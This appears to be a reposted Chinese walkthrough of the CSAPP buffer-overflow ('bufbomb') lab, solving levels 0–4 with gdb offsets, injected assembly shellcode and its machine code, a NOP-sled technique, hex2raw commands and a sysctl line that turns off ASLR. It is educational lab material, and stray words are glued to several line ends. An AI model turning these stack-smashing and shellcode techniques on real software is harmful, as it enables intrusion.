Buffer Overflow: 堆棧溢出攻擊實驗

前言

這是CSAPP官網上的著名實驗,經過注入彙編代碼實現堆棧溢出攻擊。
實驗材料可到個人github倉庫 https://github.com/Cheukyin/C... 下載linux

linux默認開啓ASLR,每次加載程序,變量地址都會不同,因此若要關閉ASLR:
sysctl -w kernel.randomize_va_space=0(賦值爲2,便可打開ASLRgit

不過本實驗的程序彷佛通過特殊處理,不須要關閉ASLRgithub

正常編譯的程序的stacknon-executable的,可是加一個編譯選項就能夠打開
本實驗的程序應該都打開了executable選項了數組

Level0

修改getbuf()的返回地址,讓程序執行smoke
打開gdb,設置斷點至getbuf, r -u cheukyincookie

80491f4:    55                       push   %ebp
80491f5:    89 e5                    mov    %esp,%ebp
80491f7:    83 ec 38                 sub    $0x38,%esp
80491fa:    8d 45 d8                 lea    -0x28(%ebp),%eax
80491fd:    89 04 24                 mov    %eax,(%esp)
8049200:    e8 f5 fa ff ff           call   8048cfa <Gets>
8049205:    b8 01 00 00 00           mov    $0x1,%eax
804920a:    c9                       leave  
804920b:    c3                       ret

以上代碼標明buf的地址是ebp-0x28,地址存放在eax
print $ebp+4 ==> 0x55683884
print eax ==> 0x55683858
二者相差44個字節,所以須要輸入44個普通字符,在輸入smoke的地址
print smoke ==> 0x8048c18dom

hex結果保存在level0-smoke-hex.txt
./hex2raw < level0-smoke-hex.txt|./bufbomb_32 -u cheukyin 便可過關函數

Level1

跟上面相似,執行fizz(),不過fizz有一個參數須要壓棧,這個參數須要跟cookie相等
所以除了修改getbuf返回地址,還須要輸入四字節看成fizz的返回地址,再輸入4字節cookiespa

./makecookie cheukyin 可獲取cookie
反彙編可獲取fizz返回地址code

./hex2raw<level1-fizz-hex.txt | ./bufbomb_32 -u cheukyin 通關ip

Level2

修改全局變量global_value的值,並進入ban函數

要修改global_value,便需在stack上注入一段修改的代碼,執行完get_bufjump到該代碼,
代碼執行完後便jumpbang

level2-firecracker-assembly.S爲注入代碼:

# push the address of bang onto stack
pushl $0x08048c9d

# in gdb, print &global_value  ==>   0x804d100
# mov cheukyin cookie to global_value
mov $0x3955ae84, %eax
mov %eax, 0x804d100

# jump to <bang>
ret

先把bang地址壓棧,而後修改global_value的值爲cheukincookie,最後ret跳轉至bang

gcc -m32 -c level2-firecracker-assembly.S生成目標文件
objdump -d level2-firecracker-assembly.o > level2-firecracker-assembly.d反彙編
level2-firecracker-assembly.d:

0:    68 9d 8c 04 08           push   $0x8048c9d
5:    b8 84 ae 55 39           mov    $0x3955ae84,%eax
a:    a3 00 d1 04 08           mov    %eax,0x804d100
f:    c3                       ret

gdb: print $ebp+8 ==> 0x55683888
把機器碼填充到上面的地址,而後把get_buf返回地址修改成上面的地址便可

./hex2raw<level2-bang-hex.txt | ./bufbomb_32 -u cheukyin可過關

Level3

getbuf返回cookietest,所以不能破壞teststack frame,
因此只能把注入代碼寫在輸入字符串的開頭,也就是buf地址

另外,當返回test時須要恢復正確的ebp,所以輸入字符串中在返回地址以前應寫入ebp:
getbuf中, x/wx $ebp ==> 0x55683880
返回地址應是buf地址: print $ebp-0x28 ==> 0x55683858

注入代碼須要把cookie移入eax,並返回正確的地址:

#in getbuf: x/wx $ebp+4 ==> 0x08048dbe
#push get_buf's return address
pushl $0x08048dbe

#return cheukyin's cookie to test
movl $0x3955ae84, %eax

#return to <test>
ret

gcc -m32 -c level3-Dynamite-assembly.S
objdump -d level3-Dynamite-assembly.o > level3-Dynamite-assembly.d
把生成的機器碼填入buf

./hex2raw<level3-Dynamite-hex.txt | ./bufbomb_32 -u cheukyin通關

Level4

最後一關的要求和上一關一致,不過須要加上-n參數運行bufbomb
此時會進入testngetbufn函數而不是testgetbuf函數。
與以前不一樣在於,爲模擬真實環境具備不定數量環境變量在stack frame的上方,
進入getbufn時的ebp值不是固定值,
讀取字符串緩衝區大小由32變爲512,並且會調用testn函數五次,
意味着須要輸入五次字符串並所有經過才能經過。

因爲testn()ebp值不固定,首先須要肯定如何恢復該值。
須要注意到一個事實,espebp距離是固定的.
testn的彙編代碼:

8048e26:    55                       push   %ebp
8048e27:    89 e5                    mov    %esp,%ebp
8048e29:    53                       push   %ebx
8048e2a:    83 ec 24                 sub    $0x24,%esp
8048e2d:    e8 5e ff ff ff           call   8048d90 <uniqueval>
8048e32:    89 45 f4                 mov    %eax,-0xc(%ebp)
8048e35:    e8 d2 03 00 00           call   804920c <getbufn>
8048e3a:    89 c3                    mov    %eax,%ebx

getbufn正常返回後應回到8048e3a,此時ebp=esp+0x28
所以注入代碼應增長利用esp恢復ebp的語句
以下:

#testn's ebp is fixed
#read <testn>'s assembly code and calculate
lea 0x28(%esp), %ebp

#look into bufbomb_32.S
#push getbufn's return address
pushl $0x08048e3a

#return cheukyin's cookie to test
movl $0x3955ae84, %eax

#return to <testn>
ret

查看其機器碼:

0:    8d 6c 24 28              lea    0x28(%esp),%ebp
4:    68 3a 8e 04 08           push   $0x8048e3a
9:    b8 84 ae 55 39           mov    $0x3955ae84,%eax
e:    c3                       ret

此時,還有另外一個難題,ebp不固定,則getbufn中的字串數組buf地址也是不固定的.
如何修改getbufn返回地址來執行注入代碼呢?

經過gdb查看讀入getbufn內字符串buf的地址(即eax),
對於一樣的userid會給出同樣的地址序列,
目測是以useridseed的僞隨機,五次運行給出的地址分別爲:

0x55683678
0x55683698
0x556836c8
0x556835f8
0x55683668

根據提示採用nop sleds的技術,
大意是:在不清楚有效機器代碼的入口地址時,
能夠在有效機器代碼前以大量的nop機器指令(0x90)填充,
只要跳轉地址處於這些nop上就能到達有效機器代碼。
因爲棧上的機器代碼是按地址由低向高順序執行,
要保證五次運行都能順利執行有效機器代碼,
須要知足:跳轉地址位於有效機器代碼入口地址以前的nop機器指令填充區。
這要求儘量增大nop填充區,儘量使有效機器代碼段日後挪。

所以返回地址選用最高的地址: 0x556836c8

getbufn彙編代碼

8049215:    8d 85 f8 fd ff ff        lea    -0x208(%ebp),%eax

可知buf地址和存放返回地址的單元相隔 0x208+4 = 0x20c 個字節

而注入代碼共15個字節,所以共須要在buf開頭填充 0x20c-15nop(0x90)
而後在填入機器碼和返回地址

./hex2raw -n <level4-Nitroglycerin-hex.txt|./bufbomb_32 -u cheukyin -n 通關
./hex2raw-n 選項可以讓hex2raw重複屢次輸入

相關文章
相關標籤/搜索